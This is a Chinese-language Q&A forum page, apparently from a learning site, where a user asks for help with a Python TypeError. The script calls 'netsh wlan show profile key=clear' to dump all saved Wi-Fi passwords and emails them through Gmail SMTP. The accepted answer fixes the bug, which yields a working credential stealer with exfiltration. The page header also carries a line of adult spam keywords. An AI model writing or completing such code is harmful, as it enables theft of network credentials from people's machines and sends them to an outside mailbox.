亚洲在线久爱草,狠狠天天香蕉网,天天搞日日干久草,伊人亚洲日本欧美

為了賬號安全,請及時綁定郵箱和手機立即綁定
已解決430363個問題,去搜搜看,總會有你想問的

TypeError: 預期的字符串或類似字節的對象。我在哪里將它更改為字符串?

TypeError: 預期的字符串或類似字節的對象。我在哪里將它更改為字符串?

Cats萌萌 2022-12-14 17:35:41
當我嘗試運行這個 python 時:import subprocess, smtplibdef send_mail(email,password,message):    server = smtplib.SMTP("smtp.gmail.com", 587)    server.starttls()    server.login(email,password)    server.sendmail(email, email, message)    server.quit()a = subprocess.check_output(['netsh','wlan','show','profiles']).decode('utf-8').split('\n')a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i]for i in a:    results = subprocess.check_output(['netsh','wlan','show','profile',i,'key=clear']).decode('utf-8').split('\n')    results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]    try:        print ("{:<30}| {:<}".format(i, results[0]))    except IndexError:        print ("{:<30}| {:<}".format(i,""))send_mail("[email protected]","Example123",results)我收到這個錯誤Traceback (most recent call last):  File "wifi.py", line 18, in <module>    send_mail("[email protected]","Example123",results)  File "wifi.py", line 6, in send_mail    server.sendmail(email, email, message)  File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\smtplib.py", line 886, in sendmail    (code, resp) = self.data(msg)  File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\smtplib.py", line 568, in data    q = _quote_periods(msg)  File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\smtplib.py", line 176, in _quote_periods    return re.sub(br'(?m)^\.', b'..', bindata)  File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\re.py", line 210, in sub    return _compile(pattern, flags).sub(repl, string, count)TypeError: expected string or bytes-like object我知道我需要在某個地方放“str”,但我不知道是哪一部分(我對 python 有點陌生)
查看完整描述

1 回答

?
阿波羅的戰車

TA貢獻1862條經驗 獲得超6個贊

你有結果作為列表只是將它轉換成字符串這將發送用戶名和密碼


import subprocess, smtplib

def send_mail(email,password,message):

    server = smtplib.SMTP("smtp.gmail.com", 587)

    server.starttls()

    server.login(email,password)

    server.sendmail(email, email, message)

    server.quit()


a = subprocess.check_output(['netsh','wlan','show','profiles']).decode('utf-8').split('\n')

a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i]

to_send = []

for i in a:

    results = subprocess.check_output(['netsh','wlan','show','profile',i,'key=clear']).decode('utf-8').split('\n')

    results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]

    # in order to send everything store it in another list and then join them with new line.

    to_send.append(i+":"+"".join(results))

    try:

        print ("{:<30}| {:<}".format(i, results[0]))

    except IndexError:

        print ("{:<30}| {:<}".format(i,""))

# convert list to string

send_mail("[email protected]","Example123","\n".join(to_send))


查看完整回答
反對 回復 2022-12-14
  • 1 回答
  • 0 關注
  • 125 瀏覽
慕課專欄
更多

添加回答

舉報

0/150
提交
取消
微信客服

購課補貼
聯系客服咨詢優惠詳情

幫助反饋 APP下載

慕課網APP
您的移動學習伙伴

公眾號

掃描二維碼
關注慕課網微信公眾號